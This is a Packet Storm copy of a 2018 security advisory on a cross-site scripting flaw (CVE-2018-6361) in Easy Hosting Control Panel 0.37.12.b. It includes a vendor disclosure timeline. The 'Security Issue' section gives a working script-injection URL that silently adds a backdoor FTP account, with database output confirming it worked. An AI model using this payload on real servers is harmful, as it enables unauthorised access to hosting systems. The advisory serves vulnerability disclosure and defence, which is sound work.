Twenty Year Anniversary

Easy Hosting Control Panel 0.37.12.b Cross Site Scripting Add FTP Account

Easy Hosting Control Panel 0.37.12.b Cross Site Scripting Add FTP Account
Posted May 9, 2018
Authored by hyp3rlinx | Site hyp3rlinx.altervista.org

Easy Hosting Control Panel version 0.37.12.b suffers from a cross site scripting vulnerability that allows you to add a backdoor FTP account.

tags | exploit, xss
advisories | CVE-2018-6361
MD5 | 966a2022afa674527a1084c1d9a1eedf

Easy Hosting Control Panel 0.37.12.b Cross Site Scripting Add FTP Account

Change Mirror Download
[+] Credits: hyp3rlinx  
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/EHCP-v0.37.12.b-XSS-FTP-BACKDOOR-ACCOUNT.txt
[+] ISR: Apparition Security


***Greetz: indoushka|Eduardo|Dirty0tis***


Vendor:
=============
www.ehcp.net


Product:
===========
Easy Hosting Control Panel
v0.37.12.b


Ehcp is a Hosting Control Panel.
Ehcp is a tool in a server to facilate the process of hosting domains, emails, adding domains, ftp users and so on.



Vulnerability Type:
===================
Cross Site Scripting


CVE Reference:
==============
CVE-2018-6361


Security Issue:
================
EHCP does not properly sanitize input allowing remote attackers to add backdoor FTP accounts to the system.

e.g.

http://127.0.0.1/ehcp/index.php?op=<script>$.ajax({url:'http://127.0.0.1/ehcp/index.php?op=addftpuser%26id=6',data:{ftpusername:"attacker",password:"hatred1",quota:"100",upload:"1000",download:1000,op:"addFtpUser",_insert:1},datatype:"json",contentType:"application/json; charset=utf-8",type:'POST',success:function(data){alert(status);}});</script>

result.

MariaDB [ehcp]> select * from ftpaccounts;
+----+------+-------------+-------------------------------------------+------------+----------+---------------+--------------+--------+---------+----------+
| id | host | ftpusername | password | domainname | reseller | panelusername | homedir | status | type | datetime |
+----+------+-------------+-------------------------------------------+------------+----------+---------------+--------------+--------+---------+----------+
| 6 | NULL | attacker | *EE3F0EB3C99D91BE0D0002E6DACE6CD28913009E | | admin | admin | | active | | NULL |
+----+------+-------------+-------------------------------------------+------------+----------+---------------+--------------+--------+---------+----------+



Network Access:
===============
Remote



Severity:
=========
Medium



Disclosure Timeline:
=============================
Vendor Notification: January 26, 2018
Vendor Acknowledges issues: January 27, 2018
Mitre Assigns CVE : January 29, 2018
Informed vendor of CVE : January 31, 2018
Vendor "Will be fixed soon, I think." : Febuary 2, 2018
Request update : Febuary 8, 2018
Vendor : "no progress yet. Will inform you any progress." : Febuary 10, 2018
Inform vendor of 90 day disclose policy : Febuary 10, 2018
Request update : February 21, 2018
Vendor "Not Yet." : Febuary 22, 2018
Request update : March 3, 2018
Vendor "I plan to start check/fixes with Ubuntu 18.04." : March 3, 2018
Request ETA : March 4, 2018
Vendor "Will start working when Ubuntu 18.04 released" : March 4, 2018
Request update : March 25, 2018
Vendor "password storage already fixed, others waiting for next release." : March 26, 2018
Request update : April 13, 2018
Vendor "same situation" : April 15, 2018
Remind vendor of 90 day disclose policy : April 16, 2018
No reply
Request update : April 22, 2018
No reply
Remind vendor again : April 27, 2018
No reply
May 9, 2018 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

June 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    14 Files
  • 2
    Jun 2nd
    1 Files
  • 3
    Jun 3rd
    3 Files
  • 4
    Jun 4th
    18 Files
  • 5
    Jun 5th
    21 Files
  • 6
    Jun 6th
    9 Files
  • 7
    Jun 7th
    16 Files
  • 8
    Jun 8th
    18 Files
  • 9
    Jun 9th
    5 Files
  • 10
    Jun 10th
    2 Files
  • 11
    Jun 11th
    21 Files
  • 12
    Jun 12th
    34 Files
  • 13
    Jun 13th
    15 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    4 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close